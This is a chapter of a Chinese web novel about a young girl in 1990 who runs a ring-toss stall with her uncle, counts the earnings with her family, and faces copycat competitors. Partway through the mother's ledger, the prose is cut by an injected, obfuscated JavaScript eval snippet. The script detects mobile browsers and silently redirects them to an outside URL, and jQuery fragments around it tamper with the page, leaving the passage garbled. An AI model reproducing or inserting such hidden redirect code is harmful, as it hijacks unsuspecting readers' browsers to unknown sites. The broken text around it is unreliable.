太阳准时在五点下山，还没到五点半的时候天就黑透了。
一天下来东西被套走了不少，装进袋子被江立业甩在肩上，抱着江清柠往棉纺厂家属院走。
“四叔，我可以自己走的。”
“天黑了小心摔跤，我抱着你走咱们快点回去。”
“好吧，辛苦四叔了。”
“你这点重量有啥辛苦的，我能扛半头猪跑二公里都不带喘的。”
“……”
今天他们俩在大院门口就碰到江立锋了，手里拿着手电筒，一看就是特意在这里等他们的。
“清柠，老四，你们回来了，怎么样，今天累不累？”江立锋看到他们立马跑过来，伸手接过江清柠抱在怀里。
江清柠摇头：“不累，爸爸，我们今天也赚了不少钱哦，我们赶快回去数钱吧。”
江立业脸上是压不住的兴奋，一双眼睛在黑夜里亮晶晶的，压低声音道：“对，大哥咱们快回家，这钱揣我身上我都不放心。”
天爷啊，长这么大他身上还是第一次妆这么多钱呢。
江立锋下意识看了看四周，这个点已经过了下班高峰期，家属院没什么人。
从小生长的环境，让他对做生意这种‘投机倒把’的事情很是警惕，脑子里总觉得这应该是偷偷摸摸见不得人的事，不能大肆宣扬。
到了家，苏桂英早早做好了饭，听到开门声忙走向门口，压低声音：“回来啦，清柠，今天怎么样啊？冷不冷啊？饿了吧，快来吃饭。”
江清柠从江立锋怀里下来，被苏桂英摸摸脸，语气满是关心：“今天小脸都被吹红了，晚上洗完脸给你多擦点脸霜，明天再出去玩记得戴口罩……”
“嗯嗯，我知道啦。”江清柠点头，很习惯妈妈的唠叨了。
江立业把东西随意的往地上一放，就开始从怀里口袋掏钱，一把一把的零钱放在桌子上。
“又这么多钱啊？”苏桂英惊讶的站在旁边看着他掏钱。
江立业道：“今天下午的生意比昨天下午还好呢，就是可惜，被套走了一百五十块。”
江清柠端着杯子喝了口热水驱寒，“就是因为看到能套到钱，才会一直有人玩啊。”
江立业笑着点头：“是这个理，就是心里忍不住心疼。”
江清柠放下杯子，松松手指加入数钱的队伍。
哎呀呀，数钱最快乐了。
上午赚的二百一十一块单独放在一起不用再数。
下午的钱也很快数出来了，“七百二十二块！”江立业拍腿，“要是天再晚点黑就好了，起码还能再赚五十块，说不定能破八百呢！”
江立锋喃喃道：“这已经够多的了。”
苏桂英掐指算道：“上午赚了二百一十一块，下午赚了七百二十二块，这，这一天就是九百八十三块啊！”
江立业道：“大嫂，还得减去下午被套走的二百五十块呢。”
“那也还有，七百三十三块啊！”苏桂英还是有些不敢相信。
江清柠从一桌叠好的钱里拿出两百块，递给对面的江立业，“四叔，这是你今天的工钱。”
“昨天不是给过我工钱了么？”江立业一愣。
江清柠解释：“昨天的是昨天的，今天的是今天的，咱们日结。”
江立业摇头不肯接钱，“不行，昨天你给的一百块已经够多了，顶我平常大半月的活儿了。”
“四叔，你以前干活的那些老板能和我比么，再说了，咱们是什么关系啊，你可是我的元老！”
江清柠一本正经继续说：“咱们现在才刚刚起步，这点钱算什么啊，以后我们一天肯定能赚现在的百倍、千倍。”
在场的三个大人都安静地听她说话，“目前咱们主要的任务是扩大蛋糕，四叔，我之所以给你这么多钱，除了咱俩感情好的原因，也是为了给你个动力，多拿钱才能多赚钱。”
江清柠话锋一转，道：“四叔，现在我这生意你也门清，其实没什么技术含量，你要是想另起炉灶也是很简单的事情……”
“怎么可能！”江立业立马打断：“你四叔我可不是那样的人。”
江清柠笑道：“哎呀，四叔你的人品我还能信不过么，咱们都是一家人，谁赚钱都一样啊。”
说着，她双手把钱递过去，“四叔，后面还得拜托你多费心啦，咱们一起挣大钱。”
江立业道：“你这孩子，说话那么客气干什么啊。”
江立锋听着女儿刚刚的那番话，也觉得颇有道理，“老四，清柠都说了是工钱，你就拿着吧。”
苏桂英点头：“是啊，你们俩一起赚了这么多钱，你要是不接就是嫌弃钱少了。”
江立业眼睛猛的睁大，急道：“大嫂，我没这个意思，生意全是清柠的主意，我怎么会抢自家侄女的钱呢。”
苏桂英拿过那两百块，塞到他手上，道：“那你就拿着吧。”没听他说话便转身道：“都饿了吧，咱们开饭，我去厨房端菜。”
江立锋点头：“我来拿碗，天色不早了，老四你吃完要不在家里歇吧。”
江立业下意识摇头：“不了，我回去歇。”
苏桂英去厨房了，江立锋忙着拿碗筷，江立业低头看着手上的钱，眨眨眼。
算了，给了就收着吧，他也不是矫情的人。
江清柠端起茶杯微微一笑，现在自己手边能用的人还就真只有四叔。
爸爸妈妈是不可能抛下工作陪她做生意的，其他认识的大人她也使唤不动，找陌生人合作就更不靠谱了。
她一个小孩子能谁会理她，就算听了她的意见，事成后也是会把她一脚踢出局。
所以，她得花重金留下四叔，让他心甘情愿的配合自己。
吃完饭，江立业揣着两百块回家了，一路上走的都有些不真实，这才一天半功夫，自己就赚了三百块啦？
另一边，江清柠把赚的钱都给了苏桂英，语气轻快：“妈妈，这些钱你帮我收着吧，我昨天说了会赚钱回来的，怎么样，没骗你吧。”
苏桂英笑着摸摸女儿得意地晃悠着的小脑袋，夸道：“没骗我，清柠最厉害了，是妈妈之前错了，没相信你。”
江清柠眯起眼睛，享受妈妈的抚摸，笑道：“我不怪你，以后我还会赚更多的钱给你的，妈妈，你就是我的会计。”
苏桂英笑道：“好，我是你的会计。”
她接过钱，还真拿出个本子开始记账。
1990年1月29日，大年初三，赚四百四十块，支出工钱一百块，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448761|185223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
剩三百四十块。
1990年1月30日，大年初四，赚七百三十三块，支出工钱两百块，剩五百三十三块。
合计：八百四十三块。
睡觉前，苏桂英熬了碗姜汤让江清柠喝下去，“乖，把这个喝了，吹了一天的风，那冰面上的风冷得很，赶紧祛祛寒。”
江清柠嘻嘻鼻子，乖乖点头喝了。
·
第二天还是江立业来接江清柠。
一早起来江清柠把床下的纸箱子拖了出来，里面剩下的玩具全放进了袋子里，还塞了几本小人书。
“今天太阳好，说不定人会更多。”江立业心情很好。
不过等到了地点，他的好心情荡然无存。
只见他们昨天摆摊的地方不远处，新出现了一个套圈摊。
摆摊的是两个中年男人，穿着破旧的军大衣，一个人在地上放东西，一个人在和黄国庆吵架。
“我都和你们说了，这地方有人了，你们不准摆过来。”
“这地儿写名字了么？你一个卖糖葫芦的要多大的地盘啊？”
“这是我兄弟的地方，告诉你们，他可是‘业哥’，你们最好小心点。”
“呦，我当什么人物呢，业哥算个什么人物，我怎么从来没听过……”
“我确实不是什么人物，不过也知道个先来后到的理。”江立业突然开口打断了他们的争执。
黄国庆看到江立业，立马告状：“业哥，一大早这两人就跑过来抢地方。”
“喂，你说谁抢地方？”对面的中年男人不满的叫喊。
黄国庆要张嘴被江立业伸手拦住了，他大量了眼面前的中年男人，穿着灰旧的军大衣黑棉裤，个子不高，一脸络腮胡子。
“兄弟，打哪来的啊？”江立业挑眉问。
“帽斜胡同院儿的，我叫张大耳。”男人斜站着，一边说还一边抖腿。
江立业想了想，道：“哦，你们是帽斜胡同的张氏兄弟啊，久仰大名。”
“没什么名，就是兄弟们给面子。”
“我没记错的话，这里不属于你们兄弟的地盘吧？”江立业看着旁边的摊子，地上摆了不少东西，锅碗瓢盆不说，还有一套瓷十二生肖摆件，都是些寻常套圈摊上的东西。
张大耳道：“没错，这不是我们兄弟的地盘，但也不是你业哥的地盘吧，我昨儿已经和强哥打过招呼了。”
强哥就是在这片地收保护费的，江立业和他打过几次交道，所以前天给黄国庆解围对方也没说什么。
张大耳昂着头问：“怎么，在这摆摊犯法么？”
江立业咬牙：“不犯法。”
“哼，那不就得了。”
江清柠若有所思的看着这两个陌生男人，竞争对手来了啊。
那边的男人摆好了东西，然后从口袋里掏出了两张一百块，也压在了最前面。
江清柠心里叹了口气：比自己想象的快啊，才一天的功夫就有人学起来了，咱国家人民群众的模仿能力不愧是世界第一。
紧接着，耳边又传来了男人粗哑的吼声：“一块钱换一百块了！”?
“一块钱十次套圈啊，走过路过别错过啊……”
江清柠握拳：得，价格战也来的。